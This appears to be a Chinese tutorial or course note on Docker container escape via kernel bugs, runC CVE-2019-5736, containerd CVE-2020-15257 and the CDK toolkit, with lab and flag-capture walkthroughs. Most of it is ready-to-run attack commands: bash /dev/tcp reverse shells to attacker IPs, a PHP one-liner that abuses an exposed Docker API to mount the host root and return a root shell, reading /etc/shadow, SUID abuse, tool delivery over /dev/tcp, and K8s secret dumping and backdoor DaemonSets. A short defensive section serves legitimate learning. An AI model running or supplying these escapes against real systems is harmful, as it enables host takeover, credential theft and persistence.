2026-08-09
云攻防
00
请注意,本文编写于 97 天前,最后修改于 96 天前,其中某些信息可能已经过时。

目录

一、对比
二、容器逃逸方式四:Linux 内核漏洞
2.1 为什么内核漏洞能导致容器逃逸?
2.2 常见的内核逃逸漏洞
2.3 DirtyCow(CVE-2016-5195)原理
2.4 内核漏洞逃逸的通用步骤
三、容器逃逸方式五:Docker/Containerd 版本漏洞
3.1 为什么软件版本漏洞能逃逸?
3.2 CVE-2019-5736:runC 容器逃逸
漏洞概述
原理(小白版)
利用步骤
3.3 CVE-2020-15257:Containerd 逃逸
漏洞概述
原理(小白版)
利用步骤
四、容器逃逸方式六:CDK 自动化工具
4.1 CDK 是什么?
4.2 CDK 安装
4.3 CDK 常用命令
命令1:信息收集(evaluate)
命令2:指定漏洞利用(run)
4.4 CDK 实战流程
五、三种逃逸方式对比总结
六、防御建议(红队学攻击,蓝队学防御)
6.1 防御内核漏洞
6.2 防御版本漏洞
6.3 防御配置漏洞
6.4 监控与检测
七、总结脑图
八、课后思考题
附:cdk使用
一、CDK 是什么?
CDK 三大模块
二、如何把 CDK 传入目标容器?
方法一:直接上传(最省事)
方法二:利用 /dev/tcp 传输(无 curl/wget 时)
方法三:利用现有下载工具
三、Evaluate 模块 —— 信息收集(第一步必做)
3.1 基础评估
3.2 完整评估(加 --full)
3.3 典型输出解读
四、Exploit 模块 —— 漏洞利用(核心功能)
4.1 查看所有可用的 EXP
4.2 执行指定 EXP
4.3 常用容器逃逸 EXP 速查表
🚨 特权容器逃逸(最常见)
🔧 Capabilities 逃逸
📁 挂载逃逸
🐛 CVE 漏洞逃逸
☸️ K8s 相关 EXP
4.4 自动逃逸(一键尝试)
五、Tool 模块 —— 常用工具替代
5.1 网络工具
5.2 系统工具
5.3 K8s/Docker API 交互工具
六、标准使用流程(实战步骤)
七、版本选择
八、常见问题
九、总结速查卡

云上攻防 — 云原生篇 & Docker安全 & 系统内核漏洞 & 版本漏洞 & CDK自动利用 & 容器逃逸
还是不要自己搭靶机了,想打就整台云服务器


一、对比

上一篇是三种"配置不当"导致的容器逃逸:

  • 特权模式逃逸
  • 危险挂载逃逸(Procfs、Socket)

这篇是另外的"漏洞"导致的逃逸:

  1. Linux 内核漏洞 → 容器和宿主机共享内核,内核有洞就能逃
  2. Docker/Containerd 版本漏洞 → 软件本身有Bug,特定版本才能利用
  3. CDK 自动化工具 → 一键扫描、一键逃逸,懒人神器

核心区别:

类型依赖条件稳定性
配置不当管理员配错了实战中常见,但看运气
内核/版本漏洞特定内核版本或Docker版本只要版本对,100%成功

二、容器逃逸方式四:Linux 内核漏洞

2.1 为什么内核漏洞能导致容器逃逸?

Docker 容器和宿主机共享同一个 Linux 内核。

┌─────────────────────────────────────┐ │ 宿主机 OS │ │ ┌─────────────────────────┐ │ │ │ Linux 内核 │ │ │ │ (容器和宿主共享它) │ │ │ └─────────────────────────┘ │ │ │ │ │ │ ┌────┘ └────┐ │ │ ▼ ▼ │ │ 容器A 容器B │ └─────────────────────────────────────┘

通俗解释:

  • 内核就像大楼的"地基"
  • 每个容器就像大楼里的"房间"
  • 正常情况下,房间之间互相隔离
  • 但如果地基有裂缝(内核漏洞),攻击者可以从一个房间钻到地基里,进而控制整栋大楼

2.2 常见的内核逃逸漏洞

课程中提到的几个经典漏洞:

CVE编号漏洞名称影响版本原理简述
CVE-2016-5195DirtyCow(脏牛)Linux 内核 < 4.8.3竞态条件,让普通用户写入只读内存,进而提权
CVE-2021-22555Netfilter 堆溢出Linux 内核 5.8-5.10内核模块内存溢出,可执行任意代码
CVE-2022-0847DirtyPipe(脏管)Linux 内核 5.8-5.16管道机制漏洞,可覆盖任意文件
CVE-2022-0492cgroup v1 逃逸特定内核配置利用 cgroup 的 release_agent 机制逃逸

2.3 DirtyCow(CVE-2016-5195)原理

DirtyCow = Dirty Copy-On-Write

Copy-On-Write(COW,写时复制) 是 Linux 的一个内存优化机制:

  • 当多个进程共享同一块内存时,大家先"只读"共享
  • 只有当某个进程要写这块内存时,内核才会复制一份给它单独用

漏洞原理: 内核在处理"写时复制"时有个竞态条件(Race Condition)。攻击者利用这个时机差,可以在内核还没完成权限检查的时候,把数据写入原本只读的内存区域。

通俗比喻: 想象图书馆有一本"只读"的珍贵书籍(系统关键文件)。正常情况下你只能看不能改。 DirtyCow 漏洞就像:你趁图书管理员转身的瞬间,快速把书里的内容改掉。管理员回头检查时,书已经被改了,但系统还以为这是"合法"的修改。

利用效果:

  • 容器内的普通用户(甚至低权限用户)
  • 可以修改宿主机上的任意文件
  • 比如修改 /etc/shadow、写入 SSH 公钥、替换系统程序

2.4 内核漏洞逃逸的通用步骤

bash
# Step 1:确认内核版本 uname -r # Step 2:用工具检测是否有已知漏洞 # 比如 linux-exploit-suggester ./linux-exploit-suggester.sh # Step 3:下载对应 EXP(漏洞利用代码) # GitHub 上搜 CVE-XXXX-XXXX PoC # Step 4:编译并执行 gcc exp.c -o exp ./exp # Step 5:拿到宿主机 root 权限 id # uid=0(root) gid=0(root)

注意:内核漏洞利用通常需要编译环境(gcc),而且EXP可能不稳定,有崩溃风险。实战中优先用自动化工具(如CDK)。


三、容器逃逸方式五:Docker/Containerd 版本漏洞

3.1 为什么软件版本漏洞能逃逸?

Docker、Containerd、runC 这些软件本身也是代码写的,有代码就有Bug。

runC 是什么? runC 是 Docker 的底层容器运行时,负责真正创建和管理容器进程。Docker 只是"指挥官",runC 是"执行者"。

3.2 CVE-2019-5736:runC 容器逃逸

漏洞概述

项目内容
影响组件runC
影响版本Docker <= 18.09.2,runC <= 1.0-rc6
危害容器内的攻击者可以覆盖宿主机上的 runC 二进制文件,进而获取宿主机 root 权限
前提条件需要管理员执行 docker exec 进入容器时触发

原理(小白版)

runC 在运行容器时,会加载容器内的某些动态链接库(libc 等)。

漏洞的核心逻辑:

  1. 攻击者在容器内放一个恶意文件,伪装成动态链接库
  2. 当管理员执行 docker exec 进入容器时,runC 会加载这个恶意文件
  3. 恶意文件利用 runC 的权限(宿主机 root),覆盖宿主机上的 runC 二进制文件本身
  4. 下次任何容器启动时,都会执行被篡改的 runC,攻击者代码在宿主机上运行

通俗比喻:

  • runC 是"监狱长",每次去牢房(容器)查房时,都要喝牢房里的一杯水(加载动态库)
  • 攻击者在杯子里下了毒(恶意代码)
  • 监狱长喝了水,中毒了,回去后把监狱的钥匙交给了攻击者

这里装linux虚拟机Ubuntu Server 22.04.5来进行复现

参考文章:https://www.cnblogs.com/dbbull/p/21557531

使用metarget一键安装对docker版本进行降级https://github.com/Metarget/metarget

重大消息,22不行,得要18

利用步骤

bash
# 1. 确认 Docker 版本(在宿主机上) docker version # Server Version: 18.06.1-ce ← 小于 18.09.2 就有漏洞 # 2. 下载 PoC # https://github.com/Frichetten/CVE-2019-5736-PoC # 3. 修改 PoC,填入反弹 shell 命令 # 修改 main.go 里的 payload: # payload = "bash -c 'bash -i >& /dev/tcp/你的IP/4444 0>&1'" # 4. 编译成二进制 CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go # 5. 把编译好的 main 文件传到容器里 docker cp main 容器ID:/ # 6. 在容器里执行 chmod 777 main ./main # 7. 等待管理员执行 docker exec 进入容器 # 一旦管理员执行:docker exec -it 容器ID /bin/bash # 宿主机上的 runC 就会被覆盖 # 8. 攻击者监听端口,等待反弹 shell nc -lvvp 4444

关键点:这个漏洞需要管理员配合(执行 docker exec),属于"钓鱼"型漏洞,实战中需要社工或等待运维操作。

3.3 CVE-2020-15257:Containerd 逃逸

漏洞概述

项目内容
影响组件containerd
影响版本containerd < 1.4.3,containerd < 1.3.9
危害容器内进程可以访问 containerd 的控制接口,创建新容器并挂载宿主机根目录
前提条件容器启动时必须加了 --net=host 参数

原理(小白版)

containerd 有一个 shim 进程,负责管理容器的生命周期。正常情况下,shim 和容器之间通过 Unix Socket 通信,这个 Socket 应该是隔离的。

但如果容器用了 --net=host(共享宿主机网络命名空间),容器内的进程就能访问到宿主机上的 containerd-shim 的 Unix Socket。

攻击者利用这个 Socket,可以:

  1. 向 containerd-shim 发送命令
  2. 让 shim 创建一个新的容器
  3. 新容器挂载宿主机的根目录 /
  4. 攻击者进入新容器,直接控制宿主机

利用步骤

bash
# 1. 安装有漏洞的 Docker/Containerd 版本 # apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1 # 2. 启动容器(必须加 --net=host) docker run -itd --net=host ubuntu:18.04 /bin/bash # 3. 进入容器 docker exec -it 容器ID /bin/bash # 4. 上传 CDK 工具 docker cp cdk_linux_amd64 容器ID:/tmp chmod 777 /tmp/cdk_linux_amd64 # 5. 用 CDK 自动利用 ./cdk_linux_amd64 run shim-pwn reverse 你的IP 4444 # 6. 攻击者监听 nc -lvvp 4444

关键点:--net=host 是前提条件,没有这个参数启动的容器不受此漏洞影响。


四、容器逃逸方式六:CDK 自动化工具

4.1 CDK 是什么?

CDK = Container DucK

GitHub 地址:https://github.com/cdk-team/CDK

它是一个零依赖的容器渗透测试工具包,专门为 Docker、Kubernetes、Containerd 设计。

通俗解释:

  • 上一篇我们都是"手动"检测和逃逸
  • CDK 就是"自动化"的,一键扫描环境、一键尝试逃逸
  • 就像 Nessus 扫描漏洞一样,CDK 扫描容器逃逸路径

CDK 不支持内核漏洞(因为内核漏洞需要编译EXP,环境依赖复杂),但支持:

  • 特权模式检测与利用
  • 危险挂载检测
  • Docker Socket 逃逸
  • Containerd shim 逃逸
  • K8s 渗透(后续课程会讲)

4.2 CDK 安装

bash
# 下载对应版本(容器内执行) wget https://github.com/cdk-team/CDK/releases/download/v1.5.6/cdk_linux_amd64 chmod +x cdk_linux_amd64

版本选择:

  • cdk_linux_amd64 → Linux 64位(最常见)
  • cdk_linux_arm64 → ARM64(树莓派、苹果M芯片)
  • cdk_darwin_amd64 → Mac Intel
  • cdk_darwin_arm64 → Mac M芯片

4.3 CDK 常用命令

命令1:信息收集(evaluate)

bash
./cdk evaluate

这个命令会输出:

  • 系统信息(内核版本、当前用户、主机名)
  • Capabilities(权限掩码)
  • 挂载信息(有没有危险挂载)
  • Namespace 隔离状态
  • K8s API 检测
  • 云服务元数据检测

[Information Gathering - System Info] 系统基本信息 图片.png

当前目录是根目录 / 当前用户是 root,UID=0(Linux里0就是最高权限),GID=0,家目录 /root 主机名是 e8998be28746,这是 Docker 容器的 ID 前12位。 操作系统是 Alpine Linux 3.24.1(一个非常精简的Linux发行版),内核版本是 6.12.38,基于 Kali 的 amd64 架构。

[Information Gathering - Services] 服务信息

图片.png

为空,容器里没有运行什么特殊服务(比如 sshd、mysql 之类的)。

[Information Gathering - Commands and Capabilities] 权限和能力(重点!) 输出解读:

[*] Maybe you can exploit the Capabilities below: [!] CAP_DAC_READ_SEARCH enabled. You can read files from host. [!] CAP_SYS_MODULE enabled. You can escape via loading kernel module. Critical - SYS_ADMIN Capability Found.

图片.png

五个值分别代表:

CapInh = Inheritable(可继承的) CapPrm = Permitted(允许的) CapEff = Effective(实际生效的) CapBnd = Bounding(边界限制,上限) CapAmb = Ambient(环境变量传递的)4 CAP_CHOWN:修改文件所有者 CAP_DAC_OVERRIDE:绕过文件读/写/执行权限检查 CAP_DAC_READ_SEARCH:绕过文件读权限和目录搜索权限 CAP_NET_ADMIN:网络管理(配IP、开网卡) CAP_SYS_MODULE:加载/卸载内核模块 CAP_SYS_ADMIN:万能权限,相当于"超级root" CAP_SYS_PTRACE:调试其他进程 ...等等

看到 Critical 级别的提示,说明有高危权限,可以尝试逃逸。

CDK提示人话解释
CAP_DAC_READ_SEARCH enabled你可以绕过文件权限检查,直接读宿主机上的任意文件(比如 /etc/shadow)
CAP_SYS_MODULE enabled你可以往内核里加载模块(比如 rootkit),直接控制宿主机
Critical - SYS_ADMIN Capability Found最高危! 你可以 mount 挂载磁盘、修改 cgroup,这是容器逃逸的"万能钥匙"

[Information Gathering - Mounts] 挂载信息(重点!) 图片.png

[Information Gathering - Net Namespace] 网络命名空间

[Information Gathering - Sysctl Variables] 系统变量

[Information Gathering - DNS-Based Service Discovery] DNS 服务发现

网络命名空间是独立的(容器有自己的网卡、IP、路由表)。

内核参数 route_localnet=0,表示不允许把 127.0.0.0/8 的流量路由到外部网络。这是安全设置。

CDK 尝试查找 Kubernetes 的 CoreDNS 服务,但失败了。说明这个环境不是 K8s 集群,或者 K8s 的 DNS 不可达。 图片.png

[Discovery - Cloud Provider Metadata API] 云服务商元数据 API

图片.png

CDK 尝试连接各大云服务商的元数据 API(比如阿里云、AWS、腾讯云等),全部失败。

等等,这里不过多阐述

命令2:指定漏洞利用(run)

bash
# 特权模式 - 挂载磁盘 ./cdk run mount-disk # Containerd shim 漏洞(CVE-2020-15257) ./cdk run shim-pwn reverse 你的IP 端口 # 检查 runC 漏洞(CVE-2019-5736) ./cdk run check-runc-cve-2019-5736 # 利用 CAP_DAC_READ_SEARCH 读取宿主机文件 ./cdk run cap-dac-read-search # 重写 cgroup devices ./cdk run rewrite-cgroup-devices

特权模式挂载 图片.png

图片.png

反弹shell

bash
./cdk run reverse-shell ip:端口

图片.png

但是这里的shell是容器内的shell,不是宿主机的 图片.png

cap-dac-read-search读取

bash
# 读宿主机 /etc/shadow ./cdk run cap-dac-read-search /etc/hostname /etc/shadow # 或者直接 chroot 进宿主机弹 shell ./cdk run cap-dac-read-search /etc/hostname / "/bin/bash -c 'bash -i >& /dev/tcp/165.99.42.26/5555 0>&1'"

图片.png

4.4 CDK 实战流程

bash
# Step 1:进入目标容器(假设已拿到 Webshell 或 RCE) # Step 2:下载 CDK wget https://github.com/cdk-team/CDK/releases/download/v1.5.6/cdk_linux_amd64 chmod +x cdk_linux_amd64 # Step 3:运行信息收集 ./cdk evaluate # Step 4:根据 evaluate 结果,选择逃逸方式 # 如果看到 SYS_ADMIN + mount-disk 推荐: ./cdk run mount-disk # Step 5:进入挂载的宿主机文件系统 chroot /host bash -c 'bash -i >& /dev/tcp/你的IP/4444 0>&1'

图片.png 这里因为交互问题,顺便试验下,上传一个大马

ls -al /发现有.dockerenv确定是docker环境 图片.png

这里其实是想vshell反弹个交互shell的,结果上传不上去新版cdk和Stageless 反向客户端

只能使用他给的老版CDK 运行 evaluate --full 收集环境信息。

图片.png

当前用户 www-data(uid=33),无特殊 capabilities(CapEff: 0)。

网络为 --net=host,共享宿主机网络栈。

发现 containerd-shim 抽象套接字(@/containerd-shim/...sock),意味着运行时为 containerd,且该套接字可触达

存在 SUID 程序:find、mount、su 等。

想直接suid提取后直接利用 CVE-2020-15257反弹宿主机shell,但是失败了

期望获得交互式 root shell,但因 nosuid 或 user namespace 问题,id 仍显示 uid=33

/usr/bin/find . -exec /bin/sh -p \; -quit

图片.png

/usr/bin/find . -exec /usr/bin/id \; -quit

提示容器内 root 直接映射宿主机 root 图片.png 以 root 执行

/usr/bin/find . -exec /var/www/html/cdk_linux_amd64 run shim-pwn reverse 192.168.111.25 5555 \; -quit

这里注意,使用的老版本cdk,新版要加reverse 图片.png 进行端口扫描

netstat -tuln

图片.png

发现2375端口,尝试利用

这里nndcdk没有docker-api-pwn模块,只能手动利用,没有curl和wegt使用php

查看镜像文件,看宿主机可用镜像有 ubuntu:18.04。

php -r 'echo file_get_contents("http://127.0.0.1:2375/images/json");'

图片.png 用 PHP 单行命令调用 Docker API 创建容器并启动,执行反弹 shell,攻击机 ncat -lvnp 5555 收到宿主机 root shell

php -r '$p=json_encode(["Image"=>"ubuntu:18.04","Cmd"=>["bash","-c","bash -i >& /dev/tcp/192.168.111.25/5555 0>&1"],"HostConfig"=>["Binds"=>["/:/host"]]]); $r=file_get_contents("http://127.0.0.1:2375/containers/create",false,stream_context_create(["http"=>["method"=>"POST","header"=>"Content-Type: application/json","content"=>$p]])); $d=json_decode($r,true); if(isset($d["Id"])){ file_get_contents("http://127.0.0.1:2375/containers/".$d["Id"]."/start",false,stream_context_create(["http"=>["method"=>"POST"]])); echo "Container started: ".$d["Id"]; } else echo "Error: ".$r;'

图片.png

接受并查找flag

图片.png

读取flag,结束。 图片.png

图片.png

这是一个 Docker Registry 未授权访问漏洞 的练习靶场。

简单说,就是有一台服务器(192.168.111.20)上运行着 Docker 镜像仓库,但它的 5000 端口没有做任何权限校验,任何人都可以随意查看、拉取里面的镜像。

先扫下端口

图片.png 用他给的工具试一下

图片.png 或者直接访问 http://192.168.111.20:5000/v2/_catalog 图片.png

然后下载镜像

打开其中一个json,获得flag? 图片.png

然后是爆破,没啥好说的

图片.png

图片.png


五、三种逃逸方式对比总结

逃逸方式依赖条件是否需要高权限稳定性实战价值
特权模式/危险挂载(第95天)管理员配置错误需要容器内 root⭐⭐⭐⭐⭐最常见
内核漏洞(第96天)特定内核版本不需要(低权限也能用)⭐⭐⭐看运气(版本要对)
Docker版本漏洞(第96天)特定Docker版本 + 特定启动参数视漏洞而定⭐⭐⭐⭐版本对就100%成功
CDK自动化上述任意条件满足其一自动适配⭐⭐⭐⭐⭐渗透必备工具

六、防御建议(红队学攻击,蓝队学防御)

6.1 防御内核漏洞

bash
# 1. 及时更新内核 sudo apt update && sudo apt upgrade linux-image-generic # 2. 启用自动安全更新 sudo apt install unattended-upgrades # 3. 限制容器使用内核模块(禁止 CAP_SYS_MODULE) docker run --cap-drop=SYS_MODULE -d myapp

6.2 防御版本漏洞

bash
# 1. 保持 Docker 和 containerd 更新到最新版 sudo apt update && sudo apt upgrade docker-ce containerd.io # 2. 避免使用 --net=host(除非必要) # 用端口映射代替:-p 8080:80 # 3. 避免使用旧版本 Docker # 生产环境定期扫描组件版本

6.3 防御配置漏洞

bash
# 1. 禁用特权模式 docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE -d myapp # 2. 禁止挂载敏感目录 # 不要:-v /proc:/proc # 不要:-v /var/run/docker.sock:/var/run/docker.sock # 3. 启用 User Namespace dockerd --userns-remap=default # 4. 启用 Seccomp 和 AppArmor docker run --security-opt seccomp=default.json --security-opt apparmor=docker-default -d myapp

6.4 监控与检测

检测项命令/方法
检测特权容器docker ps --format "{{.Names}}" --filter "label=com.docker.compose.service" | xargs -I {} docker inspect --format='{{.Name}} {{.HostConfig.Privileged}}' {}
检测危险挂载docker inspect 容器ID | grep -i "bind"
检测异常进程容器内出现 fdisk、mount、mkfs 等命令
检测内核版本uname -r,对比漏洞库

七、总结脑图

Docker容器逃逸(第96天) │ ├── 1. Linux内核漏洞逃逸 │ ├── 原理:容器和宿主机共享内核 │ ├── DirtyCow (CVE-2016-5195) │ ├── DirtyPipe (CVE-2022-0847) │ ├── Netfilter (CVE-2021-22555) │ └── 步骤:检测内核版本 → 下载EXP → 编译执行 → 提权 │ ├── 2. Docker/Containerd版本漏洞 │ ├── CVE-2019-5736 (runC) │ │ ├── 条件:Docker <= 18.09.2 │ │ ├── 前提:管理员执行 docker exec │ │ └── 原理:覆盖宿主机 runC 二进制 │ └── CVE-2020-15257 (containerd) │ ├── 条件:containerd < 1.4.3 │ ├── 前提:--net=host │ └── 原理:访问 shim socket 创建特权容器 │ └── 3. CDK自动化工具 ├── evaluate:信息收集 ├── auto-escape:全自动逃逸 └── run:指定漏洞利用 ├── mount-disk(特权模式挂载) ├── shim-pwn(containerd漏洞) └── cap-dac-read-search(读文件)

八、课后思考题

  1. 为什么内核漏洞逃逸不需要容器内是 root 权限?

    提示:内核漏洞利用的是内核代码的Bug,绕过的是内核的权限检查,不是容器的权限。

  2. CVE-2019-5736 和 CVE-2020-15257 有什么共同点?

    提示:都需要特定条件触发,且都利用了容器运行时(runC/containerd)的设计缺陷。

  3. CDK 为什么不支持内核漏洞自动化?

    提示:内核漏洞利用需要编译环境、特定内核头文件,且可能导致系统崩溃,自动化难度大。

附:cdk使用

一、CDK 是什么?

项目说明
全称Container Drift Kit(也叫 Container DucK)
定位零依赖的容器渗透测试工具包
项目地址https://github.com/cdk-team/CDK
核心特点单文件、零依赖 —— 一个二进制文件丢进容器就能跑,不需要 apt/yum 装任何东西
适用场景已拿下容器 Shell,需要进行信息收集、容器逃逸、K8s 横向移动

CDK 三大模块

┌─────────────────────────────────────────────────────────────┐ │ CDK 三大模块 │ ├─────────────────┬─────────────────┬─────────────────────────┤ │ Evaluate │ Exploit │ Tool │ │ 信息收集/评估 │ 漏洞利用 │ 常用工具替代 │ ├─────────────────┼─────────────────┼─────────────────────────┤ │ • 系统信息 │ • 容器逃逸 │ • nc(网络工具) │ │ • Capabilities │ • K8s 持久化 │ • ps(进程查看) │ │ • 挂载分析 │ • 横向移动 │ • ifconfig(网卡信息) │ │ • 网络隔离 │ • 凭据窃取 │ • vi(文件编辑) │ │ • 敏感文件扫描 │ │ • probe(端口扫描) │ │ • K8s 信息探测 │ │ • kcurl(K8s API请求) │ └─────────────────┴─────────────────┴─────────────────────────┘

二、如何把 CDK 传入目标容器?

实战中,你拿下容器后经常发现里面连 curl、wget 都没有,咋把 CDK 丢进去?

方法一:直接上传(最省事)

如果你的漏洞利用过程允许上传文件(比如文件上传漏洞、WebShell),直接把 CDK 二进制文件传进去。

方法二:利用 /dev/tcp 传输(无 curl/wget 时)

在你的公网 VPS 上执行(发送端):

bash
nc -lvp 999 < cdk_linux_amd64

在目标容器里执行(接收端):

bash
cat < /dev/tcp/你的VPS_IP/999 > cdk chmod a+x cdk

💡 原理:/dev/tcp/host/port 是 Bash 的内置功能,不需要安装任何工具,只要有 Bash 就能用!

方法三:利用现有下载工具

如果容器里有 curl:

bash
curl -o cdk http://你的VPS_IP/cdk chmod a+x cdk

三、Evaluate 模块 —— 信息收集(第一步必做)

进入容器后,第一件事就是跑 cdk evaluate,让 CDK 自动帮你扫描容器内所有可利用的弱点。

3.1 基础评估

bash
./cdk evaluate # 或简写 ./cdk eva

它会自动检测以下内容:

检测类别检测内容有什么用
OS 基本信息内核版本、操作系统、当前用户判断是否存在已知内核漏洞
Capabilities容器拥有的 Linux 权限CAP_SYS_ADMIN = 可能特权容器;CAP_SYS_MODULE = 可加载内核模块逃逸
可用命令curl、wget、nc、python、kubectl 等判断后续能用哪些工具
挂载情况哪些宿主机目录被挂载进了容器/proc、/root、磁盘设备挂载 = 逃逸机会
网络 Namespace是否和宿主机共享网络--net=host 模式可能存在 CVE-2020-15257
环境变量敏感配置、K8s 服务地址可能泄露数据库密码、API 地址
敏感服务本地运行的服务发现未授权访问的服务
K8s 信息是否在 K8s Pod 中、ServiceAccount Token判断能否接管 K8s 集群
云厂商元数据AWS/Azure/阿里云/GCP 元数据 API可能获取云服务器临时凭证

3.2 完整评估(加 --full)

bash
./cdk evaluate --full # 或 ./cdk eva --full

比基础评估多了:

  • 本地敏感文件扫描
  • Cgroups 配置分析
  • ASLR 状态检测
  • 更全面的文件系统分析

3.3 典型输出解读

> ./cdk eva --full [*] Maybe you can exploit the *Capabilities* below: [!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' for exploitation. [!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'. Critical - Possible Privileged Container Found.

看到这种输出怎么办?

  • CAP_DAC_READ_SEARCH → 可以读宿主机文件 → 用 cdk run cap-dac-read-search
  • CAP_SYS_MODULE → 可以加载内核模块 → 用 cdk run mount-disk 或相关模块
  • SYS_ADMIN / Privileged Container → 特权容器 → 用 cdk run mount-cgroup 等

四、Exploit 模块 —— 漏洞利用(核心功能)

4.1 查看所有可用的 EXP

bash
./cdk run --list

4.2 执行指定 EXP

bash
./cdk run <exploit名称> [参数]

4.3 常用容器逃逸 EXP 速查表

🚨 特权容器逃逸(最常见)

EXP 名称适用条件作用
mount-cgroup特权容器(--privileged)利用 cgroup 的 release_agent 机制执行宿主机命令
mount-disk特权容器,有设备操作权限自动识别并挂载宿主机物理磁盘到容器内
rewrite-cgroup-devices有 SYS_ADMIN capability改写 cgroup 设备白名单逃逸

示例 —— 特权容器反弹 Shell:

bash
./cdk run mount-cgroup "bash -c 'bash -i >& /dev/tcp/你的IP/9999 0>&1'"

🔧 Capabilities 逃逸

EXP 名称适用条件作用
cap-dac-read-search有 CAP_DAC_READ_SEARCH绕过文件权限检查,读取宿主机任意文件
cap-sys-module有 CAP_SYS_MODULE加载恶意内核模块逃逸
cap-sys-ptrace有 CAP_SYS_PTRACE注入其他进程内存执行代码

示例 —— 读取宿主机 /etc/shadow:

bash
./cdk run cap-dac-read-search

📁 挂载逃逸

EXP 名称适用条件作用
mount-procfs/proc 被挂载到容器利用 procfs 挂载逃逸
lxcfs-rwlxcfs 可写利用 lxcfs 逃逸
lxcfs-rw-cgrouplxcfs 可写 + cgrouplxcfs + cgroup 组合逃逸

🐛 CVE 漏洞逃逸

EXP 名称漏洞编号适用条件
shim-pwnCVE-2020-15257containerd < 1.4.3,且 --net=host
runc-pwnCVE-2019-5736Docker <= 18.09.2,RunC <= 1.0-rc6
copy-fail-cve-2026-31431CVE-2026-31431非 root → root 提权(x86_64)

示例 —— CVE-2020-15257 反弹 Shell:

bash
./cdk run shim-pwn reverse 你的IP 监听端口

☸️ K8s 相关 EXP

EXP 名称作用
etcd-get-k8s-token从 etcd 获取 K8s Token
k8s-secret-dump导出 K8s Secrets
k8s-configmap-dump导出 K8s ConfigMap
k8s-get-sa-token获取 ServiceAccount Token(RBAC 绕过)
k8s-backdoor-daemonset部署后门 DaemonSet
k8s-shadow-apiserver部署影子 API Server
k8s-mitm-clusteripK8s MITM 攻击(CVE-2020-8554)
k8s-cronjob部署恶意 CronJob
webshell-deploy部署 WebShell

4.4 自动逃逸(一键尝试)

bash
./cdk auto-escape <要执行的命令>

CDK 会自动尝试多种逃逸方式,成功后执行你指定的命令。


五、Tool 模块 —— 常用工具替代

容器里经常缺命令,CDK 自带了一些常用工具的替代实现:

5.1 网络工具

bash
# 查看网卡信息(类似 ifconfig) ./cdk ifconfig # TCP 端口扫描(类似 nmap 简易版) ./cdk probe <IP范围> <端口范围> <并发数> <超时毫秒> # 示例:扫描 10.0.1.0-255 的 80 和 8080-9443 端口,50并发,1秒超时 ./cdk probe 10.0.1.0-255 80,8080-9443 50 1000 # NC 工具 —— 监听端口 ./cdk nc -l -v -p 9999 # NC 工具 —— 连接目标 ./cdk nc -h 目标IP -p 目标端口

5.2 系统工具

bash
# 查看进程(类似 ps -ef) ./cdk ps # 查看网络连接(类似 netstat -antup) ./cdk netstat # 编辑文件(类似 vi) ./cdk vi /etc/passwd

5.3 K8s/Docker API 交互工具

bash
# 向 K8s API Server 发送请求 ./cdk kcurl <path> (get|post) <uri> <data> # 示例: ./cdk kcurl /api/v1/namespaces/default/pods get https://kubernetes.default.svc # 向 Docker Unix Socket 发送请求 ./cdk ucurl (get|post) <socket路径> <uri> <data> # 示例: ./cdk ucurl get /var/run/docker.sock /containers/json # 向 Docker HTTP API 发送请求 ./cdk dcurl (get|post) <url> <data> # 未授权枚举 etcd 键值 ./cdk ectl <endpoint> get <key> # 示例: ./cdk ectl http://etcd-server:2379 get / --prefix

六、标准使用流程(实战步骤)

┌──────────────────────────────────────────────────────────────┐ │ Step 1: 把 CDK 传入目标容器 │ │ ├─ 有文件上传 → 直接上传 │ │ └─ 只有命令执行 → /dev/tcp 方式传输 │ ├──────────────────────────────────────────────────────────────┤ │ Step 2: 信息收集(必做!) │ │ └─ ./cdk eva --full │ ├──────────────────────────────────────────────────────────────┤ │ Step 3: 看 evaluate 输出,找可利用点 │ │ ├─ 特权容器?→ mount-cgroup / mount-disk │ │ ├─ 有敏感 Cap?→ cap-dac-read-search / cap-sys-module │ │ ├─ 有挂载?→ mount-procfs │ │ ├─ 版本漏洞?→ shim-pwn / runc-pwn │ │ └─ 在 K8s 里?→ k8s-secret-dump / k8s-get-sa-token │ ├──────────────────────────────────────────────────────────────┤ │ Step 4: 执行对应的 EXP 逃逸 │ │ └─ ./cdk run <exp名称> [参数] │ ├──────────────────────────────────────────────────────────────┤ │ Step 5: 逃逸成功后,横向移动/持久化 │ │ ├─ K8s 环境 → 用 kcurl 操作 API │ │ ├─ 需要扫描 → 用 probe 扫内网 │ │ └─ 需要反弹 → 用 nc 建立隧道 │ └──────────────────────────────────────────────────────────────┘

七、版本选择

CDK releases 页面提供了多个版本,怎么选?

版本说明适用场景
cdk_linux_amd64标准版,功能最全大多数情况用这就行
cdk_linux_amd64_thin精简版,体积更小容器空间紧张时用
cdk_linux_amd64_upxUPX 压缩版需要更小体积
cdk_linux_amd64_thin_upx精简 + UPX 压缩极致体积要求
cdk_linux_38632 位版目标系统是 32 位
cdk_linux_arm64ARM64 版树莓派、ARM 服务器

💡 小白建议:下载 cdk_linux_amd64 标准版即可,功能最全最稳。


八、常见问题

Q1: 执行 ./cdk run xxx 没反应?

  • 检查是否有执行权限:chmod a+x cdk
  • 检查架构是否匹配:uname -m 看是 x86_64 还是 aarch64

Q2: 容器里没有 Bash,怎么传文件?

  • 试试 sh 是否支持 /dev/tcp:cat < /dev/tcp/IP/PORT > file
  • 或者用 Python:python -c "import urllib; urllib.urlretrieve('http://IP/cdk', 'cdk')"

Q3: evaluate 输出看不懂?

  • 重点关注带 Critical 和 [!] 标记的项
  • 直接复制它推荐的命令执行即可

Q4: 逃逸成功了,但反弹 Shell 没回来?

  • 检查 VPS 防火墙是否放行了对应端口
  • 检查容器内是否能访问外网:./cdk nc -h 你的IP -p 你的端口 测试连通性
  • 有些环境禁止出站连接,考虑用 DNS 外带或写文件留后门

九、总结速查卡

场景命令
信息收集./cdk eva --full
列出所有 EXP./cdk run --list
特权容器逃逸./cdk run mount-cgroup "bash -i >& /dev/tcp/IP/PORT 0>&1"
读宿主机文件./cdk run cap-dac-read-search
挂载磁盘逃逸./cdk run mount-disk
CVE-2020-15257./cdk run shim-pwn reverse IP PORT
K8s 凭据窃取./cdk run k8s-secret-dump
